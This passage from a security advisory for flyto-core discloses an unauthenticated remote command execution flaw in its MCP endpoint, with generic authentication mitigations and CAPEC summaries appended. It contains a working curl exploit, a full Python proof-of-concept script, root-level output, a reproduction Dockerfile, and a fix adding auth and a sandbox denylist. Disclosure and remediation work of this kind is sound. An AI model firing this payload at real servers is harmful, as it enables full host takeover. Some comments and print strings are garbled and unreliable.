dependencies=[Depends(require_auth)])\n```\n\nThe existence of authentication on the REST execution routes demonstrates that a security boundary was intended; the MCP route simply omits it.\n\n### PoC\n\n**Environment setup (Docker):**\n\n```bash\n# Build the image (context: the report directory containing repo/ and vuln-001/)\ndocker build \\\n -f vuln-001/Dockerfile \\\n -t flyto-vuln-001 \\\n reports/mcp_57_flytohub__flyto-core/\n\n# Start the server (binds 0.0.0.0:8333 inside the container)\ndocker run --rm -d \\\n -p 127.0.0.1:8333:8333 \\\n --name flyto-vuln-001-test \\\n flyto-vuln-001\n```\n\n**Exploit (curl) \u2014 no Authorization header:**\n\n```bash\ncurl -sS http://127.0.0.1:8333/mcp \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\n \"jsonrpc\": \"2.0\",\n \"id\": 1,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"execute_module\",\n \"arguments\": {\n \"module_id\": \"sandbox.execute_shell\",\n \"params\": {\"command\": \"id\", \"timeout\": 5}\n }\n }\n }\u0027\n```\n\n**Exploit (Python PoC script):**\n\n```bash\npython3 vuln-001/poc.py \\\n --host 127.0.0.1 --port 8333 --command id\n```\n\n**Observed response (dynamic reproduction, Phase 2):**\n\n```json\n{\n \"jsonrpc\": \"2.0\",\n \"id\": 1,\n \"result\": {\n \"structuredContent\": {\n \"ok\": true,\n \"data\": {\n \"stdout\": \"uid=0(root) gid=0(root) groups=0(root)\\n\",\n \"stderr\": \"\",\n \"exit_code\": 0,\n \"execution_time_ms\": 4.84\n }\n },\n \"isError\": false\n }\n}\n```\n\nThe `uid=0(root)` output confirms arbitrary OS command execution without any authentication. The HTTP response status was `200 OK`.\n\n**Network-accessible variant:**\n\nIf the operator starts flyto-core with `--host 0.0.0.0` (as the Dockerfile does for demonstration), the same request is reachable from any network host, changing the attack vector from Local to Network.\n\n**Recommended remediation:**\n\n```diff\n--- a/src/core/api/routes/mcp.py\n+++ b/src/core/api/routes/mcp.py\n-from fastapi import APIRouter, Request\n+from fastapi import APIRouter, Depends, Request\n from fastapi.responses import JSONResponse, Response\n from core.mcp_handler import handle_jsonrpc_request\n+from core.api.security import require_auth, module_filter\n\n-@router.post(\"\")\n+@router.post(\"\", dependencies=[Depends(require_auth)])\n async def mcp_post(request: Request):\n result = await handle_jsonrpc_request(item, browser_sessions)\n+ result = await handle_jsonrpc_request(item, browser_sessions, module_filter=module_filter)\n\n-@router.delete(\"\")\n+@router.delete(\"\", dependencies=[Depends(require_auth)])\n async def mcp_delete(request: Request):\n```\n\n```diff\n--- a/src/core/api/security.py\n+++ b/src/core/api/security.py\n-_DEFAULT_DENYLIST = [\"shell.*\", \"process.*\"]\n+_DEFAULT_DENYLIST = [\"shell.*\", \"process.*\", \"sandbox.*\"]\n```\n\n### Impact\n\nThis is an **unauthenticated OS command injection** vulnerability. Any process that can reach the `POST /mcp` HTTP endpoint (locally by default, or remotely if the server is bound to a non-loopback interface) can execute arbitrary shell commands with the full privileges of the flyto-core server process. In the dynamic reproduction, the server ran as `root`, meaning full system compromise is possible.\n\nAffected parties include:\n\n- **Developers and local users** running `flyto serve` on their workstations \u2014 any other local process (e.g., malicious code in a browser tab or another installed application) can pivot through the loopback interface.\n- **Infrastructure operators** who expose the API on a non-loopback interface (`--host 0.0.0.0`) without network-level access controls \u2014 the attack surface becomes the entire network.\n\nPotential consequences include arbitrary file read/write, credential exfiltration, lateral movement, and full host takeover.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.12-slim\n\n# lxml buildtext requiredtext whentext text\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends \\\n gcc g++ libxml2-dev libxslt1-dev \\\n \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\nWORKDIR /app\n\n# local repo copy source (build context: mcp_57_flytohub__flyto-core/)\nCOPY repo/ /app/repo/\n\n# flyto-core[api] install (fastapi + uvicorn contains)\nRUN pip install --no-cache-dir \"/app/repo[api]\"\n\nEXPOSE 8333\n\n# container externalfrom accessibletext 0.0.0.0 binding\nCMD [\"python\", \"-c\", \"from core.api.server import main; main(host=\u00270.0.0.0\u0027, port=8333)\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 PoC: Unauthenticated Command Execution via HTTP MCP execute_module\n\nTarget: flyto-core 2.26.2\nRoute: POST /mcp (no auth dependency \u2014 mcp.py:65)\nSink: asyncio.create_subprocess_shell (execute_shell.py:163)\nCWE: CWE-306 Missing Authentication for Critical Function\n\nUsage:\n python3 poc.py [--host 127.0.0.1] [--port 8333] [--command id]\n\"\"\"\nimport sys\nimport time\nimport json\nimport argparse\nimport urllib.request\nimport urllib.error\n\n\ndef wait_for_server(base_url: str, max_wait: int = 45) -\u003e bool:\n \"\"\"servertext readytext until /health text.\"\"\"\n for i in range(max_wait):\n try:\n with urllib.request.urlopen(f\"{base_url}/health\", timeout=2) as resp:\n if resp.status == 200:\n print(f\"[+] server is ready ({i}s textand)\")\n return True\n except Exception:\n pass\n time.sleep(1)\n if i % 5 == 4:\n print(f\"[*] wait in progress... ({i+1}s)\")\n return False\n\n\ndef send_exploit(base_url: str, command: str) -\u003e dict:\n \"\"\"without authentication POST /mcptext arbitrary command execute request.\"\"\"\n payload = {\n \"jsonrpc\": \"2.0\",\n \"id\": 1,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"execute_module\",\n \"arguments\": {\n \"module_id\": \"sandbox.execute_shell\",\n \"params\": {\n \"command\": command,\n \"timeout\": 10\n }\n }\n }\n }\n\n data = json.dumps(payload).encode(\"utf-8\")\n req = urllib.request.Request(\n f\"{base_url}/mcp\",\n data=data,\n headers={\"Content-Type\": \"application/json\"},\n method=\"POST\",\n )\n\n with urllib.request.urlopen(req, timeout=20) as resp:\n body = resp.read().decode(\"utf-8\")\n\n return json.loads(body)\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\"VULN-001 PoC \u2014 flyto-core unauthenticated RCE via MCP\")\n parser.add_argument(\"--host\", default=\"127.0.0.1\")\n parser.add_argument(\"--port\", type=int, default=8333)\n parser.add_argument(\"--command\", default=\"id\", help=\"OS command to execute (default: id)\")\n args = parser.parse_args()\n\n base_url = f\"http://{args.host}:{args.port}\"\n\n print(\"=\" * 60)\n print(\"VULN-001: Unauthenticated RCE via HTTP MCP execute_module\")\n print(f\" Target : {base_url}/mcp\")\n print(f\" Command : {args.command}\")\n print(\"=\" * 60)\n print()\n\n # 1. wait for server readiness\n print(\"[*] waiting for server startup in progress...\")\n if not wait_for_server(base_url):\n print(\"[-] FAIL: servertext whenbetween within not respond not\")\n sys.exit(1)\n\n # 2. without authentication exploit send request\n print(f\"\\n[*] POST {base_url}/mcp \u2014 without an Authorization header send\")\n try:\n result = send_exploit(base_url, args.command)\n except urllib.error.HTTPError as e:\n body = e.read().decode(\"utf-8\", errors=\"replace\")\n print(f\"[-] HTTP {e.code}: {body}\")\n print(\"[-] FAIL: servertext requesttext rejected (vulnerability none or text textdone)\")\n sys.exit(1)\n except Exception as e:\n print(f\"[-] text error: {e}\")\n sys.exit(1)\n\n # 3. response parse\n print(f\"\\n[*] Raw JSON response:\\n{json.dumps(result, indent=2, ensure_ascii=False)}\\n\")\n\n # result.result.structuredContent.data.stdout\n try:\n structured = result[\"result\"][\"structuredContent\"]\n data = structured[\"data\"]\n stdout = data.get(\"stdout\", \"\")\n stderr = data.get(\"stderr\", \"\")\n exit_code = data.get(\"exit_code\", -1)\n except (KeyError, TypeError) as e:\n print(f\"[-] FAIL: expected response structure text \u2014 {e}\")\n print(f\" result keys: {list(result.get(\u0027result\u0027, {}).keys())}\")\n sys.exit(1)\n\n print(f\"[*] exit_code = {exit_code}\")\n print(f\"[*] stdout = {stdout!r}\")\n print(f\"[*] stderr = {stderr!r}\")\n print()\n\n # 4. success verdict: `id` command resulttext uid= contains whether\n if \"uid=\" in stdout:\n print(\"[+] ============================================================\")\n print(\"[+] PASS: without authentication text OS command execution check!\")\n print(f\"[+] command output: {stdout.strip()}\")\n print(\"[+] ============================================================\")\n sys.exit(0)\n else:\n print(\"[-] FAIL: stdouttext \u0027uid=\u0027 none \u2014 commandtext executenot text outputtext different\")\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n```",
"id": "GHSA-h9f9-h6gm-wc85",
"modified": "2026-07-06T17:41:03Z",
"published": "2026-07-06T17:41:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/flytohub/flyto-core/security/advisories/GHSA-h9f9-h6gm-wc85"
},
{
"type": "PACKAGE",
"url": "https://github.com/flytohub/flyto-core"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "flyto-core has Unauthenticated Command Execution via HTTP MCP `execute_module`"
}
Mitigation
Architecture and Design
- Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.
- Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
- In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
Mitigation MIT-15
Architecture and Design
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
Architecture and Design
- Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks.
- In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
Mitigation MIT-4.5
Architecture and Design
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
Mitigation
Implementation
System Configuration
Operation
When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].
CAPEC-12: Choosing Message Identifier
This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.
CAPEC-166: Force the System to Reset Values
An attacker forces the target into a previous state in order to leverage potential weaknesses in the target dependent upon a prior configuration or state-dependent factors. Even in cases where an attacker may not be able to directly control the configuration of the targeted application, they may be able to reset the configuration to a prior state since many applications implement reset functions.
CAPEC-216: Communication Channel Manipulation
An adversary manipulates a setting or parameter on communications channel in order to compromise its security. This can result in information exposure, insertion/removal of information from the communications stream, and/or potentially system compromise.
CAPEC-36: Using Unpublished Interfaces or Functionality
An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.
CAPEC-62: Cross Site Request Forgery
An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.